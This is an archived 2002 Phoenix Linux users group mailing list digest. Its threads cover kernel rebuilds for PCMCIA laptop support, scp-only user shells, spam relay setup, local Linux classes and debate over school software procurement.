will start holding monthly classes designed to teach the basics for using GNU/Linux as a desktop operating system. The classes will meet the first Wed every month starting at 19:00. They will be held at Sequoia Charter School, the same location as PLUG's monthly east side meeting. Sequoia, 1460 S. Horne in Mesa, is located just north of US 60 on the west side of Horne. There is NOT a freeway ramp at Horne, so take the Mesa or Stapley exit north to Southern. Turn south onto Horne and look for Sequoia on the right at the beginning of the ramp over the freeway. Contact classes@PLUG.phoenix.az.us for questions about the classes. ciao, der.hans -- # https://www.LuftHans.com/ # Knowledge is useless unless it's shared. - der.hans _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 00:44:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Wed, 19 Jun 2002 20:44:05 -0400 Subject: Need help with IRQ conflict with pcmcia network card Message-ID: <20020620004407.ZZSL3893.lakemtao05.cox.net@smtp.central.cox.net> The kernel (2.4.18) finally compiled (after 8 hours - see below) and actualy works! However, I now get an IRQ conflict with my ethernet pcmcia card! I get the error message 3c589_cs RequestIRQ: Resource in use in /var/log/messages. I added the line module "3c589_cs" opts "irq_mask=0x2240" to /etc/pcmcia/config.opts, but I still get the same message (based on the /etc/pcmcia/interrupts file and the bios settings, IRQ 6, 9 and 13 should be free; hence the 0x2240). My ethernet card is a 3Com 3c589D (Etherlink III) pcmcia card. Any brilliant (or not so brilliant) ideas will be greatly appreciated! Mark > > From: Mark Phillips > Date: 2002/06/18 Tue PM 11:47:16 EDT > To: plug-discuss@lists.plug.phoenix.az.us, kevin_brown@qwest.net > Subject: Re: Re: Need Help with Redhat 7.3 Install > > Kevin, > > Thanks again for your help and for documenting this process! I should add one note to your instructions because, in my case, the first time I followed them the kernel build failed. > > I used the i586.config file instead of the i386, so that may be the difference. I made two changes to the i586.config file: > > 1. I changed CPU type to Pentium MMX (which is the processor in my Dell Inspiron 3000, and I am hoping for some improvement in performance - about 50% - 75% based on some Intel propaganda I read on the web for MMX) > 2. I removed the pcmcia stuff as you described below. > > I think the build failed because one of the defaults in the i586.config file included pcmcia support for the QuickNet Internet LineJack/PhoneJack card. The error message (oops - I forgot to write it down) said the build failed due to some missing pcmcia related files. > > You can find this (bizarre??) card under Telephony Support. Maybe it was not included in the i386.config file?? > > I am rebuilding the kernel again without pcmcia support for this card, and it is still going strong (5 hours and counting). > > I will let you know if I find any other problems. > > Thanks again! > > Mark > > > > From: "Kevin Brown" > > Date: 2002/06/17 Mon PM 07:12:36 EDT > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Need Help with Redhat 7.3 Install > > > > I gave Mark a call this morning, but thought I'd send this out to the list since > > several people have had this issue with RH7.3 and PCMCIA support on laptops. > > > > To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm > > package from the system. > > > > rpm -e kernel-pcmcia-cs > > > > Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from > > kernel.org > > wget > > ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm > > wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz > > wget > > http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz > > cd /usr/src > > tar -xvzf ~/linux-2.4.18.tar.gz > > rpm -ivh ~/kernel-2.4.18.src.rpm > > cd /usr/src/redhat/SOURCES > > cp kernel-config- /usr/src/linux/.config > > > > Alter the config of the kernel: > > cd /usr/src/linux > > make menuconfig > > > > Remove PCMCIA Support > > General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support > > hit n to remove it, then exit config and save the changes > > > > make dep && make clean && make bzImage && make modules && make modules_install > > > > Wait for it to finish. On my P150 this took most of the night to do. > > > > cd /usr/src/linux/arch/i386/boot > > cp bzImage /boot/vmlinuz-2.4.18 > > > > Assuming you are using grub, edit /etc/grub.conf > > Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo > > > > Easy way to edit both is to copy the config that is currently booting and rename > > kernel it is loading. > > > > Reboot the system and select the recently compiled kernel. > > > > Now rebuild PCMCIA support. > > > > cd /usr/src > > tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz > > cd pcmcia-cs-3.1.34 > > make config && make all && make install > > > > You should be able to accept the defaults during make config. Once done test by > > starting it up. > > > > /etc/rc.d/init.d/pcmcia start > > > > Hope this helps. > > > > > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > > > > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > > > > > Thanks! > > > > > > > > > > > > Mark Phillips > > > Phillips Marketing, Inc. > > > 480.945.0798 > > > 480.945.9197 fax > > > mark@phillipsmarketing.biz > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 00:44:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Wed, 19 Jun 2002 19:44:47 -0500 Subject: jaz drive Message-ID: <20020619194447.A7194@lilly.csoft.net> Anyone know where I can pick up a 2Gb scsi Jaz Drive? I'm in the market. v/r mike From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 20:10:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sun, 16 Jun 2002 13:10:51 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <5.1.0.14.0.20020619093307.024ec210@localhost> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <200206161310.51377.wokan@cox.net> It would be a lot more civil than the way Monoposoft has treated its users, distributors, partners, and even it's beloved MCSE's. On Wednesday 19 June 2002 09:34, Kimi A. Adams wrote: > Would this be civil? > > Kimi > > At 6/19/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >According to the state administrative rules, it looks like most if not all > > of the school districts could be required to initiate debarment > > proceedings against MS. Anyone know an attorney who is willing to take > > something like this on pro-bono? > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > Here is the response I received from David Cantelme, Deer Valley school > > > board member. He is the one who has arizonalawinstitute@yahoo.com as > > > his email address. It sounds to me that all the school districts and > > > the state itself should be starting debarment proceedings against MS. > > > We need to start contacting the legislators, Attorney General's office > > > and your local school superintendents. > > > > > > > > > ----- Original Message ----- > > > From: "david cantelme" > > > To: "Tom Achtenberg" > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > Dear Mr. Actenburg: > > > > > > They do not, but similar rules found in the state > > > school district procurement rules do apply. Both sets > > > of rules have their origen in the state procurement > > > code. You can find the school district procurement > > > rules by going to the secretary of state web site. > > > Click on administrative rules. Go to title seven. > > > Then scroll down to R7-2-1001. That's where the rules > > > begin. They continue to about R7-2-1175. > > > > > > Debarment procedures do exist in the school district > > > procurement rules. You would need to address your > > > comments on debarment to the adminsitration. That's > > > who would initiate the procedure. If the > > > administration initiates a debarment procedure, the > > > board determines whether to appoint a hearing officer. > > > It goes from there to the officer with appropriate > > > due process to the contractor. The board itself has > > > no involvement in the hearing process. The officer > > > must be independent to ensure a fair hearing under our > > > constitutional system. > > > > > > --- Tom Achtenberg wrote: > > > > I was wondering if the Maricopa County purchasing > > > > policies listed below apply > > > > to DVUSD purchasing pprocedures? > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > MC1-101 DEFINITIONS > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > with a County > > > > Governmental unit. For purposes of Article 5, > > > > Contractor may also mean > > > > Respondent as defined in this Article. > > > > 36."DEBARMENT" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 to prohibit a Person from > > > > Participating in > > > > Maricopa County Procurements. > > > > 80."PERSON" means any corporation, Business, > > > > individual, union, > > > > committee, club, other organization or group of > > > > individuals. > > > > 113."SUSPENSION" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 temporarily disqualifying a > > > > Person from > > > > participating in Maricopa County Procurements. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > This is important > > > > below.] > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > All Specifications shall seek to promote overall > > > > economy for the purpose > > > > intended and encourage competition in satisfying > > > > Maricopa County's needs > > > > and shall not be unduly restrictive. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > [Is there any technology that is Microsoft > > > > exclusive? I believe there > > > > are sites that explain how to replace Exchange > > > > Server completely using > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > with mySQL or PostgreSQL; > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > Office suite is > > > > replaceable with the very comparable Open Office > > > > suite.] > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > B. The causes for Debarment or Suspension shall > > > > include, but are not > > > > limited to, the following: > > > > 2. Conviction of any Person or any subsidiary or > > > > affiliate of any Person > > > > under any statute of the Federal government, this > > > > State or its political > > > > subdivision or any other State for: > > > > k. Any other offense indicating a lack of business > > > > integrity or business > > > > honesty which affects responsibility as a > > > > Contractor. > > > > 3. Conviction or civil judgment finding a violation > > > > by any Person or any > > > > subsidiary or affiliate of any Person under State or > > > > Federal Antitrust > > > > Statutes. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > been convicted of a > > > > violation of Federal Antitrust Statues, cannot be a > > > > County Contractor. > > > > > > > > There are many alternatives to Microsofts products. > > > > Alternatives that have > > > > broken no laws, Federal or Local, are well supported > > > > and used by many large > > > > governments (Germany, Taiwan, et al). As a > > > > concerned voter in the DVUSD, I > > > > must point out that I cannot support criminal > > > > behavior and would hope that my > > > > Governing Board would see fit to do the same and > > > > ONLY consider alternatives > > > > as Microsoft is clearly unqualified to meet District > > > > requirements. > > > > > > > > Thank You, > > > > > > > > Tom Achtenberg > > > > > > > > PS this message was written ans sent to you using a > > > > computer that is 100% > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > operating system, KDE windows > > > > like desktop and the K-mail email client. All if > > > > these programs come under > > > > the "General Public License" which means they are > > > > 100% free to the public for > > > > personal and commercial use. > > > > -- > > > > Visit the Mountain Ridge Band Site at > > > > > > http://www.mrhsband.org > > > > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > --- > > > Outgoing mail is certified Virus Free. > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > >uqHWgWriXgbXcZvWptly5CtJ > >=tKg8 > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 01:42:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 18:42:50 -0700 Subject: jaz drive References: <20020619194447.A7194@lilly.csoft.net> Message-ID: <000d01c217fb$cab0a6c0$2f7c0d82@peyote> we have 2 plus a 1 1gig, what are you looking to pay for one? slr ----- Original Message ----- From: "Mike" To: "PLUG" Sent: Wednesday, June 19, 2002 5:44 PM Subject: jaz drive > Anyone know where I can pick up a 2Gb scsi Jaz Drive? > I'm in the market. > > v/r > mike > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 01:48:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 18:48:09 -0700 (PDT) Subject: Limiting a user to scp and not ssh Message-ID: I'm trying to configure a box so people can scp files to it, but can't actually ssh in. I created a script named scpsh with this in it: #!/bin/sh # exec /usr/bin/scp -t $HOME Then I added scpsh to /etc/shells and made it their shell in /etc/passwd. So now users can use scp to copy files over just fine, but when they try to ssh, it sits there until they hit a key, at which point they get: scp: protocol error: unexpected Connection to 1.2.3.4 closed. Is this the best way to handle this? Is there a better way that anyone knows of? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 01:57:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Wed, 19 Jun 2002 18:57:20 -0700 Subject: Fw: Computer Purchasing Guidelines References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <3D113680.56F33DCA@cox.net> No more so than necessary, I'm hoping ;-) On a more serious note, the debarment procedure actually sounds like an administrative process, and if it is like most, the involved parties would not have recourse to the courts until administrative remedies were exhausted. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 02:14:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 19:14:26 -0700 Subject: jaz drive References: <20020619194447.A7194@lilly.csoft.net> <000d01c217fb$cab0a6c0$2f7c0d82@peyote> Message-ID: <001f01c21800$33d1a880$2f7c0d82@peyote> oops sorry! email me off list. slr ----- Original Message ----- From: "slr" To: Sent: Wednesday, June 19, 2002 6:42 PM Subject: Re: jaz drive > we have 2 plus a 1 1gig, what are you looking to pay for one? > > slr > > > ----- Original Message ----- > From: "Mike" > To: "PLUG" > Sent: Wednesday, June 19, 2002 5:44 PM > Subject: jaz drive > > > > Anyone know where I can pick up a 2Gb scsi Jaz Drive? > > I'm in the market. > > > > v/r > > mike > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 02:21:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 19 Jun 2002 19:21:50 -0700 (PDT) Subject: Help getting experience In-Reply-To: <001f01c21800$33d1a880$2f7c0d82@peyote> Message-ID: <20020620022150.84987.qmail@web13903.mail.yahoo.com> I have a question to ask of the group. Maybe a favor, so to speak. I am starting my junior year at ASU in Computer Science. Right now I work in a Hotel, and I really don't like my job. I keep trying to apply for jobs in the computer field, however I have never had a job of this type before, which is making it difficult for me. My question is would anyone be willing or able to help me get experience, so I can get a job in the Computer field. I am highly interested in Networking, but any work involving computers would be good. I am working toward a career as a software engineer, so even programming would work. If someone would be willing, the idea I have is if someone would be willing to take me on as an apprentice for a couple of months to teach me the "ropes". I would be willing to work part-time, and for free, in exchange for the knowledge and a recommendation /reference if it is deserved. If you think you might be able to help me, please contact me off list at: mike1071@yahoo.com. Thank You, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 03:35:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 19 Jun 2002 23:35:54 -0400 Subject: Limiting a user to scp and not ssh References: Message-ID: <3D114D9A.C04B1D0B@georgetoft.com> KLUDGE: I noticed that during the scp operation, with bash as the shell, a new shell is not spawned. If a user ssh's into the box, a new shell is spawned. Put "exit" in ~/.bash_profile - as soon as they log in, they log out. Hopefully, there is a better solution, but this one works. Let us know how you proceed. George Matt Alexander wrote: > > I'm trying to configure a box so people can scp files to it, but can't > actually ssh in. I created a script named scpsh with this in it: > > #!/bin/sh > # > exec /usr/bin/scp -t $HOME > > Then I added scpsh to /etc/shells and made it their shell in /etc/passwd. > So now users can use scp to copy files over just fine, but when they try > to ssh, it sits there until they hit a key, at which point they get: > > scp: protocol error: unexpected > Connection to 1.2.3.4 closed. > > Is this the best way to handle this? Is there a better way that anyone > knows of? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 04:03:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 19 Jun 2002 21:03:16 -0700 (MST) Subject: Help getting experience In-Reply-To: <20020620022150.84987.qmail@web13903.mail.yahoo.com> Message-ID: Am 19. Jun, 2002 schwätzte MCR so: > I have a question to ask of the group. Maybe a favor, > so to speak. I am starting my junior year at ASU in > Computer Science. Right now I work in a Hotel, and I > really don't like my job. I keep trying to apply for > jobs in the computer field, however I have never had a > job of this type before, which is making it difficult > for me. You're at one of the best places to get experience. Check student jobs. You can almost definitely get a job working graveyards in the computing commons, e.g. they can't seem to ever get enough warm bodies. After working there a sememster you'll be in the system and have a much better chance at jobs in other depts. You've got two years left, so plenty of time to get campus jobs that'll give you decent experience. Go to the UNUG meeting tomorrow morning. Topic: How to install and configure OpenBSD for use as a firewall. Presenter: Mark Peoples Where: CPCOM 120 (Computing Commons Auditorium) When: 9:00 - 11:00AM on Thursday June, 20th > My question is would anyone be willing or able to help > me get experience, so I can get a job in the Computer > field. I am highly interested in Networking, but any > work involving computers would be good. I am working > toward a career as a software engineer, so even > programming would work. If someone would be willing, > the idea I have is if someone would be willing to take > me on as an apprentice for a couple of months > to teach me the "ropes". I would be willing to work > part-time, and for free, in exchange for the knowledge > and a recommendation /reference if it is deserved. If you're willing to work for 'free' work on Free Software. In what area are you wanting to work? Pick a project that looks interesting, get on the mailing list, go through the code, start asking questions and finally send in code. Also look at groups like USENIX and IEEE. They have student programs. Learn a topic well and give presentations at local groups, e.g. the LUGs. ciao, der.hans -- # https://www.LuftHans.com/ # Freedom isn't everything, but without freedom you have nothing. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 03:58:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 20:58:39 -0700 (PDT) Subject: Ahem... Upgrade Apache on PLUG webservers, please. Message-ID: Apache/1.3.12 Server at plug.phoenix.az.us Port 80 Apache/1.3.22 Ben-SSL/1.44 Server at www.plugpresents.com Port 80 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 05:03:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 19 Jun 2002 22:03:24 -0700 (MST) Subject: intro classes - planning Message-ID: moin, moin, the classes don't start for more than 2 months, so we have some time. Specifically, I don't want to distract from the InstallFest on Sat. OTOH, we want to be mentioning them at the InstallFest :). It's been pointed out that I forgot to mention that the classes will not cost anything. After we've finished a post-mortem on the InstallFest we need to concentrate on building a press release for the classes. We need to get that out a couple of months before the classes start in order to catch a few publications in time. ciao, der.hans -- # https://www.LuftHans.com/ # Knowledge is useless unless it's shared. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 03:02:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert N. Eaton) Date: Wed, 19 Jun 2002 23:02:44 -0400 Subject: jaz drive In-Reply-To: <20020619194447.A7194@lilly.csoft.net> References: <20020619194447.A7194@lilly.csoft.net> Message-ID: <200206200552.g5K5qlMg029580@mail.infinet-is.com> On Wednesday 19 June 2002 08:44 pm, you wrote: > Anyone know where I can pick up a 2Gb scsi Jaz Drive? > I'm in the market. > > v/r > mike Mike, I have one in the original box. Was a gift to my son, who then gave it to me. Hardly used. I comes with one disk. New disks cost about $110.00, which is why I went to a CD-RW. Bob Eaton From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 06:16:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 19 Jun 2002 23:16:59 -0700 Subject: Apple has some big brass ones! Message-ID: <20020619231659.06f25209.snoogans@qwest.net> i dont know if anyone has seen it yet but apple has a new commercial out. Its basically a guy who says hes a windows LAN admin talking about how muh better OSX is than windows. While i agree with him 100% microsoft really doesn't like competition if you know what i mean *wink* *wink* i mean *nix didn't do anything so bold as to go on air on tv and say *nix is better than windows in every way and they set up a whole organization, although short lived, to combat our like 1% market share or whatever it is. Anyway 2 thumbs up to apple and thier big brass ones :) /@ /@ \ \ \ \ ___> \ ___> \ (__O) \ (__O) \ (____@) \ (____@) \ (____@) \ (____@) \ (__o)_ \ (__o)_ \ \ \ \ \ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 08:03:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) Subject: SMTP mail relay server for SPAM filtering Message-ID: My company, like many, I'm sure, is wrestling with spam email. Currently we're handling it manually, creating blocks on our Exchange server based on IP addresses. We are not being given any budget to solve this problem, but we do have a few spare servers sitting around. I'm thinking this may be an opportunity to show the MS-based IT Dept what can be done with some Open Source software. I'd like suggestions on how to set up an SMTP mail relay box and anti-spam software. I have a year or so experience with a few Linux distros on my desktop and laptop at home, so I'm no wizard, but I can usually find my way around. Is this doable? We average around 6-700 SMTP emails per hour during the day, and spike to maybe 1500 on occasion. I want to set the box up inside the DMZ, in front of the Exchange server, and just have it relay to and from that box. What distro? What software? How to config? Any HOWTOs on this or other resources? Thanks much! ----------------------------- Tired of Microsoft Windows? Visit http://www.lycoris.com! From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 09:09:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Thu, 20 Jun 2002 02:09:16 -0700 (PDT) Subject: intro classes - planning In-Reply-To: Message-ID: <20020620090916.21656.qmail@web13404.mail.yahoo.com> --- "der.hans" wrote: > moin, moin, > > the classes don't start for more than 2 months, so > we have some time. > Specifically, I don't want to distract from the > InstallFest on Sat. > > OTOH, we want to be mentioning them at the > InstallFest :). > > It's been pointed out that I forgot to mention that > the classes will not > cost anything. > > After we've finished a post-mortem on the > InstallFest we need to concentrate > on building a press release for the classes. We need > to get that out a > couple of months before the classes start in order > to catch a few > publications in time. > > ciao, > > der.hans Hey all, The Linux classes are great and I'm really looking forward to them (attending/helping in any way I can). I'm also curious though on wether there will be any classes geared toward the *BSDs? I installed FreeBSD 4.6 a little while ago and I can't say enough about it. I've been using it as my main OS and have found that I can use the same apps as I would be able to in Linux. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 11:36:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 20 Jun 2002 07:36:14 -0400 Subject: Apple has some big brass ones! References: <20020619231659.06f25209.snoogans@qwest.net> Message-ID: <3D11BE2E.75A671C3@georgetoft.com> I though Microsoft was a majority shareholder of Apple Computer. Am I mistaken? George robert jorgenson wrote: > > i dont know if anyone has seen it yet but apple has a new commercial out. Its basically a guy who says hes a windows LAN admin talking about how muh better OSX is than windows. While i agree with him 100% microsoft really doesn't like competition if you know what i mean *wink* *wink* i mean *nix didn't do anything so bold as to go on air on tv and say *nix is better than windows in every way and they set up a whole organization, although short lived, to combat our like 1% market share or whatever it is. Anyway 2 thumbs up to apple and thier big brass ones :) > > /@ /@ > \ \ \ \ > ___> \ ___> \ > (__O) \ (__O) \ > (____@) \ (____@) \ > (____@) \ (____@) \ > (__o)_ \ (__o)_ \ > \ \ \ \ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 12:02:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 20 Jun 2002 05:02:55 -0700 Subject: Apple has some big brass ones! In-Reply-To: <3D11BE2E.75A671C3@georgetoft.com> References: <20020619231659.06f25209.snoogans@qwest.net> <3D11BE2E.75A671C3@georgetoft.com> Message-ID: <1024574575.29497.6.camel@barney.azapple.com> yes, you are mistaken. They never were. Craig On Thu, 2002-06-20 at 04:36, George Toft wrote: > I though Microsoft was a majority shareholder of Apple Computer. Am I > mistaken? > > George > > > robert jorgenson wrote: > > > > i dont know if anyone has seen it yet but apple has a new commercial out. Its basically a guy who says hes a windows LAN admin talking about how muh better OSX is than windows. While i agree with him 100% microsoft really doesn't like competition if you know what i mean *wink* *wink* i mean *nix didn't do anything so bold as to go on air on tv and say *nix is better than windows in every way and they set up a whole organization, although short lived, to combat our like 1% market share or whatever it is. Anyway 2 thumbs up to apple and thier big brass ones :) > > > > /@ /@ > > \ \ \ \ > > ___> \ ___> \ > > (__O) \ (__O) \ > > (____@) \ (____@) \ > > (____@) \ (____@) \ > > (__o)_ \ (__o)_ \ > > \ \ \ \ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 12:01:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 20 Jun 2002 05:01:38 -0700 Subject: SMTP mail relay server for SPAM filtering In-Reply-To: References: Message-ID: <1024574498.29714.4.camel@barney.azapple.com> On Thu, 2002-06-20 at 01:03, Scott Henderson wrote: > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! ---- spam assassin use whatever distro. I would have this box the primary mx for incoming mail. Check it with spam assassin and then forward it to the 